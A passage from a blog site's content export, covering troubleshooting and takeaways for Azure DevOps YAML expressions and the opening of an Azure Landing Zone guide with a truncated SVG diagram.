\u003ccode\u003ebuild.imageTag\u003c/code\u003e or \u003ccode\u003epublish.containerImageTag\u003c/code\u003e is unambiguous. Step names in the \u003ccode\u003e##vso[task.setvariable]\u003c/code\u003e path are case-sensitive; a mismatch produces a silent empty-string resolution.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eAvoid nesting \u003ccode\u003e${{ each }}\u003c/code\u003e more than two levels deep.\u003c/strong\u003e Each additional nesting level multiplies the template expansion work and pushes toward the 20 MB parsing memory limit. If you need three-level nesting, the outer loop almost always belongs in an orchestrator pipeline that calls inner pipelines via \u003ccode\u003e- pipeline:\u003c/code\u003e resource triggers.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eMove complex branching logic to scripts.\u003c/strong\u003e Five levels of nested \u003ccode\u003e${{ if }}\u003c/code\u003e that recalculate the same value in different contexts adds to pipeline initialization time. A single PowerShell script that runs on the agent and writes its output via \u003ccode\u003etask.setvariable\u003c/code\u003e is faster, more readable, and easier to unit-test.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eLock production-critical variables with \u003ccode\u003ereadonly: true\u003c/code\u003e.\u003c/strong\u003e Variables that gate privileged deployments must not be overridable at queue time. A misconfigured queue-time override on \u003ccode\u003eserviceConnection\u003c/code\u003e or \u003ccode\u003edeployEnvironment\u003c/code\u003e can redirect a deployment to the wrong target with no compile-time or runtime error.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"troubleshooting-common-issues\"\u003eTroubleshooting Common Issues\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eIssue: Compile-time \u003ccode\u003eif\u003c/code\u003e block never executes despite the variable being set\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eThe variable is a predefined pipeline variable (\u003ccode\u003eBuild.SourceBranch\u003c/code\u003e, \u003ccode\u003eBuild.Reason\u003c/code\u003e, \u003ccode\u003eSystem.TeamProject\u003c/code\u003e) or a variable group value. Neither is available during Phase 2. Move the condition to a runtime \u003ccode\u003econdition:\u003c/code\u003e field:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# BROKEN\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#ae81ff\"\u003e${{ if eq(variables[\u0026#39;Build.SourceBranch\u0026#39;], \u0026#39;refs/heads/main\u0026#39;) }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeploy\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# FIXED\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeploy\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003econdition\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eeq(variables[\u0026#39;Build.SourceBranch\u0026#39;], \u0026#39;refs/heads/main\u0026#39;)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cstrong\u003eIssue: Output variable from a prior job is empty in the consuming job\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eCheck two things in order. First, confirm \u003ccode\u003edependsOn: JobA\u003c/code\u003e is declared on the consuming job. Second, confirm the step \u003ccode\u003ename:\u003c/code\u003e in the producing job matches the name used in the reference path exactly — including casing. The reference \u003ccode\u003edependencies.JobA.outputs['setTag.imageTag']\u003c/code\u003e requires the step to have \u003ccode\u003ename: setTag\u003c/code\u003e, not \u003ccode\u003ename: SetTag\u003c/code\u003e or \u003ccode\u003ename: set-tag\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eIssue: \u003ccode\u003e$(variableName)\u003c/code\u003e is passed literally to the task instead of being expanded\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eThe variable was not set before the task executed, or the variable name is misspelled. Add the diagnostic variable dump step immediately before the failing task to confirm whether the variable name appears in the environment. If it is absent, trace backward to the step that should have set it and confirm the \u003ccode\u003e##vso[task.setvariable variable=exactName]value\u003c/code\u003e command ran and the variable name matches.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eIssue: \u003ccode\u003e${{ each }}\u003c/code\u003e generates duplicate stage names, causing parse error \u003ccode\u003eStage name 'Deploy_prod' has already been defined\u003c/code\u003e\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eTwo items in the iterated collection produce the same rendered string. Add a disambiguating field to the stage name:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# BROKEN: two envs with the same tier name produce identical stage names\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003estage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeploy_${{ env.name }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# FIXED: include region abbreviation or tier to ensure uniqueness\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003estage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeploy_${{ env.region }}_${{ env.name }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cstrong\u003eIssue: A \u003ccode\u003econdition: succeeded()\u003c/code\u003e step fires on a skipped upstream job\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003esucceeded()\u003c/code\u003e returns false when the dependency was skipped. If the step must run regardless of whether the upstream job ran, use \u003ccode\u003esucceededOrSkipped()\u003c/code\u003e. If it should run even when upstream failed, use \u003ccode\u003ealways()\u003c/code\u003e — but be explicit about which behavior you intend.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eIssue: \u003ccode\u003eThe slicing expansion resulted in 257 jobs\u003c/code\u003e parse error\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eA \u003ccode\u003ematrix:\u003c/code\u003e strategy or \u003ccode\u003e${{ each }}\u003c/code\u003e loop generated more than 256 jobs in a single stage. Azure DevOps caps jobs per stage at 256. Split the work across multiple stages, each with a subset of the matrix legs:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003estage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eBatchA\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#ae81ff\"\u003e${{ each item in parameters.firstHalf }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eProcess_${{ item.name }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e./process.sh ${{ item.name }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003estage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eBatchB\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003edependsOn\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eBatchA\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#ae81ff\"\u003e${{ each item in parameters.secondHalf }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eProcess_${{ item.name }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e./process.sh ${{ item.name }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003chr\u003e\n\u003ch2 id=\"key-takeaways\"\u003eKey Takeaways\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eThe three syntaxes evaluate at different phases: \u003ccode\u003e${{ }}\u003c/code\u003e at parse time (Phase 2), \u003ccode\u003e$[ ]\u003c/code\u003e at initialization (Phase 4), \u003ccode\u003e$( )\u003c/code\u003e immediately before each task (Phase 5). Using the wrong syntax for the variable\u0026rsquo;s availability phase produces a silent failure, not an error.\u003c/li\u003e\n\u003cli\u003ePredefined pipeline variables and variable group values are never available at compile time. All compile-time branching must use \u003ccode\u003eparameters:\u003c/code\u003e or static \u003ccode\u003evariables:\u003c/code\u003e declarations.\u003c/li\u003e\n\u003cli\u003eThe Expanded YAML view under \u003cstrong\u003eInitialize job\u003c/strong\u003e is the primary debugging tool for compile-time expressions. A job absent from the Expanded YAML was removed by a \u003ccode\u003e${{ if }}\u003c/code\u003e that evaluated to false.\u003c/li\u003e\n\u003cli\u003eRuntime boolean conditions must use explicit comparisons like \u003ccode\u003eeq(variables['flag'], 'true')\u003c/code\u003e because the string \u003ccode\u003e'false'\u003c/code\u003e is truthy.\u003c/li\u003e\n\u003cli\u003eOutput variable references require an exact match on the step \u003ccode\u003ename:\u003c/code\u003e field and a \u003ccode\u003edependsOn:\u003c/code\u003e declaration on the consuming job. Missing either produces a silent empty string.\u003c/li\u003e\n\u003cli\u003eThe maximum expression length is 21,000 characters, parsing memory is 20 MB, and template nesting caps at 100 levels.\u003c/li\u003e\n\u003c/ol\u003e\n\u003chr\u003e\n\u003ch2 id=\"sources\"\u003eSources\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/devops/pipelines/process/expressions\"\u003eMicrosoft Learn: Expressions in Azure Pipelines\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/devops/pipelines/process/template-expressions\"\u003eMicrosoft Learn: Template Expressions\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/devops/pipelines/build/variables?view=azure-devops\u0026amp;tabs=yaml\"\u003eMicrosoft Learn: Predefined Variables Reference\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://devblogs.microsoft.com/devops/how-azure-pipelines-processes-yaml/\"\u003eAzure DevOps Blog: How Azure Pipelines Processes YAML\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!--\n### Image Generation Prompts\n\n1. **Photorealistic / Cinematic:** A vast, futuristic library with shelves reaching into the darkness. At the center, a large, glowing stone pedestal holds a single, open manuscript. Three distinct beams of light—blue, green, and orange—intersect on the page, illuminating complex YAML code. Cinematic lighting, dramatic atmosphere. Wide landscape format, 16:9 aspect ratio.\n\n2. **3D Abstract / Isometric:** Isometric view of a three-tiered transparent glass structure. The top tier is labeled with glowing `${{ }}`, the middle with `$[ ]`, and the bottom with `$( )`. A continuous stream of glowing data particles flows down through the tiers, changing color as it passes each level. Clean, high-tech 3D aesthetic. Wide landscape format, 16:9 aspect ratio.\n\n3. **Minimalist Vector / Flat:** Clean flat vector illustration showing three gears of different sizes and colors (blue, slate, and white) working in perfect synchronization. Each gear is inscribed with one of the three YAML expression syntaxes. The background is a professional dark gray grid. Simple and powerful. Wide landscape format, 16:9 aspect ratio.\n\n4. **Cyber-Industrial / Data Flow:** A high-contrast dark image of three massive data conduits labeled \"Compile\", \"Initialize\", and \"Execute\". Bright glowing data streams pulse through the conduits at different speeds. The environment is a futuristic power plant. Intense energy and precision. Wide landscape format, 16:9 aspect ratio.\n\n5. **Claymorphism / Soft 3D:** Soft 3D matte shapes representing the three expression types: a circle, a square, and a triangle. They are arranged in a vertical stack on a softly lit platform. Gentle shadows and a professional pastel color palette. Friendly yet technical vibe. Wide landscape format, 16:9 aspect ratio.\n\n6. **Macro Tech Detail:** Extreme macro close-up of a holographic storage disc. The light diffracts into three distinct spectral bands, each representing a different layer of information. The surface is etched with microscopic, glowing YAML syntax tokens. High detail and shimmering colors. Wide landscape format, 16:9 aspect ratio.\n--\u003e\n","description":"Master Azure DevOps YAML expressions: understand the exact evaluation order of ${{ }}, $[ ], and $( ) to build pipelines that never silently fail.","image":"images/featured.webp","permalink":"https://larryjameshenry.com/posts/ultimate-guide-yaml-expressions/","title":"The Ultimate Guide to Azure DevOps YAML Expressions"},{"content":"\u003cp\u003eMost Azure environments fail because nobody built a foundation first. One team creates a resource group called \u003ccode\u003etest-rg\u003c/code\u003e that becomes production 18 months later. Another ships without tags and cannot attribute 40% of the monthly bill. These aren\u0026rsquo;t isolated mistakes — they are the predictable outcome of deploying workloads before designing the platform that hosts them.\u003c/p\u003e\n\u003cp\u003eAn Azure Landing Zone establishes a governed, scalable platform \u003cem\u003ebefore\u003c/em\u003e workloads arrive. This guide is the pillar of a 10-part series. It covers the architecture and the decisions required to build an enterprise-grade foundation from scratch.\u003c/p\u003e\n\u003cp\u003eBy the end of this guide, you will:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eImplement the eight CAF design areas.\u003c/li\u003e\n\u003cli\u003eUnderstand the separation between platform and application landing zones.\u003c/li\u003e\n\u003cli\u003eChoose between Terraform AVM, Bicep AVM, and the ALZ Accelerator.\u003c/li\u003e\n\u003cli\u003eDeploy a production scaffold using modern IaC patterns.\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch2 id=\"what-is-an-azure-landing-zone\"\u003eWhat Is an Azure Landing Zone?\u003c/h2\u003e\n\u003cp\u003eA landing zone is not a product — it is a set of design decisions, encoded in IaC and policy, applied before workloads arrive. It ensures every team inherits the same baseline: hub networking with centralized egress, identity constraints, mandatory tagging with budget alerts, and centralized logging.\u003c/p\u003e\n\u003cp\u003eThe separation is explicit:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ePlatform Landing Zones\u003c/strong\u003e: Shared services (Hub VNet, Firewall, Bastion, DNS, Logging) managed by the platform team.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eApplication Landing Zones\u003c/strong\u003e: Spoke subscriptions where product teams deploy application resources.\u003c/li\u003e\n\u003c/ul\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n  \n    \u003csvg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      font-family=\"Menlo,Lucida Console,monospace\"\n      \n        viewBox=\"0 0 424 377\"\n      \u003e\n      \u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 8,0 L 408,0' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,48 L 384,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,96 L 368,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,128 L 112,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 112,128 L 304,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 304,128 L 368,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,160 L 112,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 112,160 L 176,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 240,160 L 304,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 304,160 L 368,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,208 L 176,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 240,208 L 296,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 312,208 L 368,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,224 L 296,224' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 312,224 L 384,224' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 8,240 L 112,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 112,240 L 200,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 200,240 L 288,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 288,240 L 296,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 312,240 L 392,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,304 L 144,304' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 168,304 L 264,304' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 288,304 L 296,304' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 312,304 L 384,304' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,352 L 144,352' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 168,352 L 264,352' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 288,352 L 384,352' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 8,0 L 8,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,48 L 32,224' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,96 L 48,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,160 L 48,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,304 L 48,352' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 112,128 L 112,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 112,240 L 112,288' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 144,304 L 144,352' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 168,304 L 168,352' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 176,160 L 176,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 200,240 L 200,288' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 240,160 L 240,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 264,304 L 264,352' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 288,240 L 288,288' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 288,288 L 288,304' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 288,304 L 288,352' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 304,128 L 304,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 304,208 L 304,320' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 368,96 L 368,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 368,160 L 368,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 384,48 L 384,224' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 384,304 L 384,352' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 408,0 L 408,224' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 112,288 L 112,296' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='128.000000,288.000000 116.000000,282.399994 116.000000,293.600006' fill='currentColor' transform='rotate(90.000000, 112.000000, 288.000000)'\u003e\u003c/polygon\u003e\n\u003cpath d='M 200,288 L 200,296' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='216.000000,288.000000 204.000000,282.399994 204.000000,293.600006' fill='currentColor' transform='rotate(90.000000, 200.000000, 288.000000)'\u003e\u003c/polygon\u003e\n\u003cpath d='M 288,288 L 288,296' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='304.000000,288.000000 292.000000,282.399994 292.000000,293.600006' fill='currentColor' transform='rotate(90.000000, 288.000000, 288.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='312.000000,208.000000 300.000000,202.399994 300.000000,213.600006' fill='currentColor' transform='rotate(270.000000, 304.000000, 208.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='312.000000,320.000000 300.000000,314.399994 300.000000,325.600006' fill='currentColor' transform='rotate(90.000000, 304.000000, 320.000000)'\u003e\u003c/polygon\u003e\n\u003ctext text-anchor='middle' x='16' y='276' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='24' y='276' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='276' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='276' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='276' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='116' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='180' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='196' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='276' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='340' fill='currentColor' style='font-size:1em'\u003eH\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='116' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='180' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='196' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='276' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='324' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='340' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='116' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='180' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='196' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='276' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='324' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='116' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='180' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='196' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='276' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='324' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='340' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='180' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='196' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='276' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='324' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='340' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='116' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='180' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='276' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='324' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='340' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='116' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='180' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='196' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='20' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='116' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='180' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='196' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='324' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='20' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='116' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='180' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='196' fill='currentColor' style='font-size:1em'\u003e,\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='324' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' 